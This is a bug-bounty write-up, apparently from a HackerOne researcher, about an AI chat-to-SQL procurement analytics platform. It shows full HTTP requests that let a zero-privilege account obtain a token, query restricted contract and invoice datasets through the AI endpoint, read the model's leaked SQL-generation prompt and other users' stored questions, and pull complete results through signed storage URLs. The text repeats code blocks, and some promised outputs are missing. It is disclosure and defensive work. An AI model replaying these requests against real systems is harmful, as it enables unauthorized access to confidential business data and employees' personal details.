September 1, 2026
SQLi Without SQLi: I Asked the AI, It Queried the Database
The AI That Answered Everyoneβs Questions

By Tyrion404
8 min read
The AI That Answered Everyone's Questions
A Tyrion404 writeup β on the art of asking the right question to the wrong endpoint.
A Lannister always pays his debts. But this system was paying debts it owed to people who never asked.
I didn't need to be clever. I just needed to ask the AI nicely.
The Setup
The target was an AI-powered analytics platform β a natural-language query interface layered on top of a procurement and contract database. Think of it as a chatbot that translates employee questions into SQL, executes them against live financial data, and streams back structured results.
The architecture is worth understanding before anything else:
- A Python API exposes the AI query endpoint alongside a set of supporting endpoints for authentication, dataset listing, chat history, and feedback
- The AI receives a question and a dataset identifier from the user, calls internal tools to retrieve the SQL generation rules for that dataset, generates a SQL query, executes it against the underlying database, and streams the result back as an NDJSON event stream
- Access to specific datasets is supposed to be controlled by a separate entitlement layer β each user has an authorized dataset list, and the AI should only execute queries against datasets that list includes
- Every query result, regardless of size, is also written to Azure Blob Storage and a signed download URL is included in the response
The entitlement check was on the wrong endpoint.
Finding 0 β The API Documented Itself, For Everyone
Before logging in or obtaining any token, I sent a GET request to /python-api/openapi.json.
GET /python-api/openapi.json HTTP/1.1
Host: [REDACTED]GET /python-api/openapi.json HTTP/1.1
Host: [REDACTED]The response was a full OpenAPI 3.1.0 specification for the entire Python API surface β every endpoint, every parameter, every expected header β served without any authentication requirement.
{
"openapi": "3.1.0",
"info": {"title": "Spend Alice API", "version": "0.1.0"},
"paths": {
"/userBasedssoAuthentication": {"post": {...}},
"/getAliceRequestAccess": {"post": {...}},
"/getAliceAccessibleDatatsets": {"post": {...}},
"/getAliceStoreMsgV2Base64": {"post": {...}},
"/getAliceChatLogsV2": {"post": {...}},
"/getAliceWithinChatFeedback": {"post": {...}},
"/streamAliceCDOResponse": {"post": {...}},
"/generateCDOToken": {"get": {...}},
"/": {"get": {...}}
}
}{
"openapi": "3.1.0",
"info": {"title": "Spend Alice API", "version": "0.1.0"},
"paths": {
"/userBasedssoAuthentication": {"post": {...}},
"/getAliceRequestAccess": {"post": {...}},
"/getAliceAccessibleDatatsets": {"post": {...}},
"/getAliceStoreMsgV2Base64": {"post": {...}},
"/getAliceChatLogsV2": {"post": {...}},
"/getAliceWithinChatFeedback": {"post": {...}},
"/streamAliceCDOResponse": {"post": {...}},
"/generateCDOToken": {"get": {...}},
"/": {"get": {...}}
}
}The interactive documentation at /python-api/docs and /python-api/redoc were also reachable without authentication. The platform had documented its own attack surface and made it public.
Endpoint Auth Required POST /userBasedssoAuthentication x-api-key only POST /getAliceRequestAccess x-api-key + token POST /getAliceAccessibleDatatsets x-api-key + token POST /getAliceStoreMsgV2Base64 x-api-key + token POST /getAliceChatLogsV2 x-api-key + token POST /getAliceWithinChatFeedback x-api-key + token POST /streamAliceCDOResponse x-api-key + token GET /generateCDOToken None GET /python-api/docs None GET /python-api/openapi.json None
The x-api-key, as established from the earlier report on this same platform, was available from the public config.js file. No login required.
Act I β Getting In as a Zero-Privilege Account
The Python API had its own authentication endpoint β separate from the main platform's SSO bypass β that issued JWTs for the AI layer specifically. It accepted a user ID and a username, validated only the x-api-key header, and returned a bearer token.
POST /python-api/userBasedssoAuthentication HTTP/2
Host: [REDACTED]
Content-Type: application/json
X-Api-Key: [REDACTED]
{"userId":"****","attuid":"REDACTED"}POST /python-api/userBasedssoAuthentication HTTP/2
Host: [REDACTED]
Content-Type: application/json
X-Api-Key: [REDACTED]
{"userId":"****","attuid":"REDACTED"}Response:
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"token_type": "Bearer",
"expire_in": 3600
}{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"token_type": "Bearer",
"expire_in": 3600
}REDACTED-user was a low-privilege account. No administrative role, no elevated entitlements. I used it deliberately to establish a baseline β the lowest-access identity I could obtain a token for.
Before doing anything else, I confirmed exactly what datasets REDACTED-user was authorized for by calling the entitlement endpoint:
POST /python-api/getAliceAccessibleDatatsets HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-user token>
{"userId":"*****"}POST /python-api/getAliceAccessibleDatatsets HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-user token>
{"userId":"*****"}Response:
{
"statusCode": 200,
"statusMessage": "Success",
"data": [
{"DATASET_ID": 20**, "CDO_DATASET_ID": "c8c0bb76-...", "DATASET_NAME": "Invoice Spend"},
{"DATASET_ID": 20**, "CDO_DATASET_ID": "885361c2-...", "DATASET_NAME": "Supply Chain Contracts"},
{"DATASET_ID": 20**, "CDO_DATASET_ID": "70ad6fc9-...", "DATASET_NAME": "Invoice Spend - Old"}
]
}{
"statusCode": 200,
"statusMessage": "Success",
"data": [
{"DATASET_ID": 20**, "CDO_DATASET_ID": "c8c0bb76-...", "DATASET_NAME": "Invoice Spend"},
{"DATASET_ID": 20**, "CDO_DATASET_ID": "885361c2-...", "DATASET_NAME": "Supply Chain Contracts"},
{"DATASET_ID": 20**, "CDO_DATASET_ID": "70ad6fc9-...", "DATASET_NAME": "Invoice Spend - Old"}
]
}Three datasets. That was the authorized list. Everything else was out of scope for REDACTED-user by the platform's own access control model.
I kept a note of what was not on that list. Then I went to ask the AI for exactly those things.
Act II β The IDOR: The AI Executes Whatever You Ask
The core finding is architectural: the streamAliceCDOResponse endpoint validates that the JWT belongs to a real user, then passes the askdata_dataset_id from the request body directly to the AI tool chain. It never checks whether the authenticated user is authorized for that dataset.
The entitlement check exists β it lives in getAliceAccessibleDatatsets. It just isn't called by the endpoint that actually executes the queries.
Finding 1 β Contracts dataset (not in REDACTED-user authorized list):
POST /python-api/streamAliceCDOResponse HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-user token>
{
"question": "Show all supplier contract values",
"askdata_dataset_id": "a803b763-bebb-********",
"model_name": "gpt-5.4",
"reasoning_effort": "low",
"tool_sets": ["analysis-tools"],
"visualization_flag": 0,
"web_search_flag": 0
}POST /python-api/streamAliceCDOResponse HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-user token>
{
"question": "Show all supplier contract values",
"askdata_dataset_id": "a803b763-bebb-********",
"model_name": "gpt-5.4",
"reasoning_effort": "low",
"tool_sets": ["analysis-tools"],
"visualization_flag": 0,
"web_search_flag": 0
}The AI received the request, called its internal tool to retrieve the SQL generation rules for the requested dataset, generated a SQL query, and executed it against the live database. The full NDJSON event stream:
{"event":"metadata","chat_id":"91fef2b9-88eb-*****","memories":[]}
200 rows of live contract data. Top results:{"event":"metadata","chat_id":"91fef2b9-88eb-*****","memories":[]}
200 rows of live contract data. Top results:Dataset ID a80***** does not appear in REDACTED-user's authorized list. The AI executed the query anyway.
Finding 1b β IDOR via askdata_space_id (separate parameter, same gap):
The endpoint accepted two different ways to identify a dataset β askdata_dataset_id and askdata_space_id. The authorization check was absent from both paths.
POST /python-api/streamAliceCDOResponse HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-user token>
{
"question": "What is the total spend by top 5 suppliers in 2024?",
"askdata_space_id": "1d5a251a-b8a8-******",
"cdo_space_id_flag": "Y",
"model_name": "gpt-5.4",
"reasoning_effort": "low",
"tool_sets": ["analysis-tools"],
"visualization_flag": 0,
"web_search_flag": 0
}POST /python-api/streamAliceCDOResponse HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-user token>
{
"question": "What is the total spend by top 5 suppliers in 2024?",
"askdata_space_id": "1d5a251a-b8a8-******",
"cdo_space_id_flag": "Y",
"model_name": "gpt-5.4",
"reasoning_effort": "low",
"tool_sets": ["analysis-tools"],
"visualization_flag": 0,
"web_search_flag": 0
}Returned 2024 supplier invoice spend
Finding 1c β IDOR on a second restricted Contracts space:
POST /python-api/streamAliceCDOResponse HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-user token>
"question": "Show top 20 contracts with supplier names and values",
"askdata_space_id": "f9267add-acc9-******",
"cdo_space_id_flag": "Y",
"model_name": "gpt-5.4",
"reasoning_effort": "low",
"tool_sets": ["analysis-tools"],
"visualization_flag": 0,
"web_search_flag": 0
}POST /python-api/streamAliceCDOResponse HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-user token>
"question": "Show top 20 contracts with supplier names and values",
"askdata_space_id": "f9267add-acc9-******",
"cdo_space_id_flag": "Y",
"model_name": "gpt-5.4",
"reasoning_effort": "low",
"tool_sets": ["analysis-tools"],
"visualization_flag": 0,
"web_search_flag": 0
}The AI selected a different internal table β a masked variant of the same contracts dataset β and returned the same top contracts.Two different dataset identifiers, same unauthorized access, same data.
Act III β The AI Leaked Its Own Instructions
Each query response included a tool_response event that returned the backend's internal prompt verbatim β the SQL generation rules, column constraints, filtering logic, and the full database schema β visible to the client in the NDJSON stream.
{
"event": "tool_response",
"message": {
"content": {
"result": "Never use quotes around column names or table names. Only use quotes to create column name aliases. Always round metric values to 2 decimal places. Always order by descending for the metric used in the result unless date columns are present. Always use ILIKE '%example%' for filter conditions. Always order by ascending for STATUS_CODE, and then by descending for TOTAL_CONTRACT_VALUE. Always select all columns used in the filter or WHERE clause."
}
}
}{
"event": "tool_response",
"message": {
"content": {
"result": "Never use quotes around column names or table names. Only use quotes to create column name aliases. Always round metric values to 2 decimal places. Always order by descending for the metric used in the result unless date columns are present. Always use ILIKE '%example%' for filter conditions. Always order by ascending for STATUS_CODE, and then by descending for TOTAL_CONTRACT_VALUE. Always select all columns used in the filter or WHERE clause."
}
}
}The full column schemas exposed verbatim in the same event stream:
An attacker who reads the event stream knows every queryable column before they ask their second question. The schema disclosure materially reduces the effort required to extract anything specific.
Act IV β Someone Else's Questions
The AI used a similar_questions / memories mechanism to improve response relevance β surfacing prior queries from the same dataset as context for the current one. The problem: the memory store was not scoped per user. It was shared.
REDACTED-user's query response, against the Contracts dataset, returned another user's prior question in the memories field:
{
"question": "Show me my active contracts. My name is ***, ATTUID ****, and I work in Transformation & Supply Chain",
"sql_query": "SELECT contract_number, major_version, status_code, contract_owner, associate_director_name, owner_director, party_name, client_name FROM [REDACTED_TABLE] WHERE status_code='Active' AND contract_owner ILIKE '%***%' ...",
"search_score": *****
}{
"question": "Show me my active contracts. My name is ***, ATTUID ****, and I work in Transformation & Supply Chain",
"sql_query": "SELECT contract_number, major_version, status_code, contract_owner, associate_director_name, owner_director, party_name, client_name FROM [REDACTED_TABLE] WHERE status_code='Active' AND contract_owner ILIKE '%***%' ...",
"search_score": *****
}From the Invoice Spend and Masked Contracts spaces, additional cross-user query history was surfaced:
[
{
"question": "What are our top BUs according to spend in 2023",
"sql_query": "SELECT ORGANIZATION_NAME, RCC_BUSINESS_UNIT_NAME, SUM(INVOICE_DIST_AMOUNT) FROM [REDACTED_TABLE] WHERE INVOICE_ACCOUNTING_YEAR=2023..."
},
{
"question": "How much have we spent on ****",
"sql_query": "SELECT SUPPLIER_NAME_UVID, SUPPLIER_NAME_SVID, SUM(INVOICE_DIST_AMOUNT) FROM [REDACTED_TABLE] WHERE SUPPLIER_NAME_UVID ILIKE '%***%'"
},
{
"question": "What Active contracts are under ****?"
}
][
{
"question": "What are our top BUs according to spend in 2023",
"sql_query": "SELECT ORGANIZATION_NAME, RCC_BUSINESS_UNIT_NAME, SUM(INVOICE_DIST_AMOUNT) FROM [REDACTED_TABLE] WHERE INVOICE_ACCOUNTING_YEAR=2023..."
},
{
"question": "How much have we spent on ****",
"sql_query": "SELECT SUPPLIER_NAME_UVID, SUPPLIER_NAME_SVID, SUM(INVOICE_DIST_AMOUNT) FROM [REDACTED_TABLE] WHERE SUPPLIER_NAME_UVID ILIKE '%***%'"
},
{
"question": "What Active contracts are under ****?"
}
]REDACTED-User received, without requesting it: a full name (), a corporate username (), a department (Transformation & Supply Chain), and a second username (****) β belonging to users who had never interacted with REDACTED-USer and whose data should have been isolated.
Act V β The Full Dataset Is Always One URL Away
Every query response β regardless of how many rows the in-chat preview truncated to β included a signed Azure Blob Storage download URL for the complete result set as a CSV file.
"query_result_sas_url": "https://[REDACTED_STORAGE].blob.core.windows.net/[REDACTED_CONTAINER]/sql_execution_results/v3/2026***.csv?se=2026-*****&sp=r&sv=2025-07-05&sr=b&sig=[REDACTED_SIG]""query_result_sas_url": "https://[REDACTED_STORAGE].blob.core.windows.net/[REDACTED_CONTAINER]/sql_execution_results/v3/2026***.csv?se=2026-*****&sp=r&sv=2025-07-05&sr=b&sig=[REDACTED_SIG]"Field Value Storage provider Azure Blob Storage Permission sp=r (Read) Token expiry ~1 hour from response time
The in-chat preview was capped at 25 rows. The SAS URL pointed to the full result β all 277 rows, all 200 contracts, every invoice record β for anyone who received the response. This was the actual exfiltration path for any query that produced more data than the UI displayed.
Act VI β Asking the AI to Enumerate People
The contracts dataset schema β leaked in the tool_response events β exposed dedicated columns for employee identity: CONTRACT_OWNER, CONTRACT_OWNER_ATTUID, OWNER_SVP, OWNER_VP, OWNER_AVP, OWNER_DIRECTOR, ASSOCIATE_DIRECTOR_NAME. Each of these was directly queryable.
I asked the AI a GROUP BY question:
POST /python-api/streamAliceCDOResponse HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-User token>
{
"question": "List all unique contract owners with their names and ATTUIDs sorted by number of contracts they own descending. Show CONTRACT OWNER name, ATTUID, and count of contracts.",
"askdata_dataset_id": "a803b763-bebb-****",
"cdo_user_id": "****",
"model_name": "gpt-5.4",
"stream": true
}POST /python-api/streamAliceCDOResponse HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-User token>
{
"question": "List all unique contract owners with their names and ATTUIDs sorted by number of contracts they own descending. Show CONTRACT OWNER name, ATTUID, and count of contracts.",
"askdata_dataset_id": "a803b763-bebb-****",
"cdo_user_id": "****",
"model_name": "gpt-5.4",
"stream": true
}The AI generated and executed:
The AI's own response: "I found 277 unique contract owners. The in-chat preview is limited to the top 25 rows."
The same query pattern, applied to the SVP and VP ownership columns, returned complete result sets β every name and corporate username for each level:
Sourcing SVPs (11 unique β full set returned)
Sourcing VPs (11 unique β full set returned)
Sourcing AVPs / Directors (25 rows returned in preview β full count not confirmed in this test):
The full 277-row CSV was available via the SAS URL from Finding 5.
Act VII β Invoice-Level PII, Up to Nine Figures Per Line
Applying the same approach to the invoice dataset:
POST /python-api/streamAliceCDOResponse HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-user token>
{
"question": "Show me the top 10 individual invoices by amount with invoice number, supplier name, invoice amount, invoice date, business unit, PO number, and any employee or submitter fields available",
"askdata_dataset_id": "c8c0bb76-d6be****",
"cdo_user_id": "****",
"model_name": "gpt-5.4",
"stream": true
}POST /python-api/streamAliceCDOResponse HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
x-api-key: [REDACTED]
token: <REDACTED-user token>
{
"question": "Show me the top 10 individual invoices by amount with invoice number, supplier name, invoice amount, invoice date, business unit, PO number, and any employee or submitter fields available",
"askdata_dataset_id": "c8c0bb76-d6be****",
"cdo_user_id": "****",
"model_name": "gpt-5.4",
"stream": true
}Returned data β each row includes the invoice approver's full name and corporate username:
Note on the first row: The name and corporate username in the INVOICE_APPROVER field matched a publicly known executive identity. This report only confirms that the endpoint returned that name and username tied to a $$$M invoice. I did not attempt to verify or cross-reference the identity externally. If the program can confirm internally, it raises the impact of this finding significantly; absent that confirmation, it is reported as an observed data point.
Also confirmed: a $$,$$M invoice paid to a major telecommunications competitor β competitively sensitive wholesale-access spend β returned in full to a zero-privilege account, including the internal business unit name.
And I have been rewarded with $$$$
Tyrion404 β HackerOne
"I have a gift for you β the truth. The truth about the world, and all the things that dwell in it."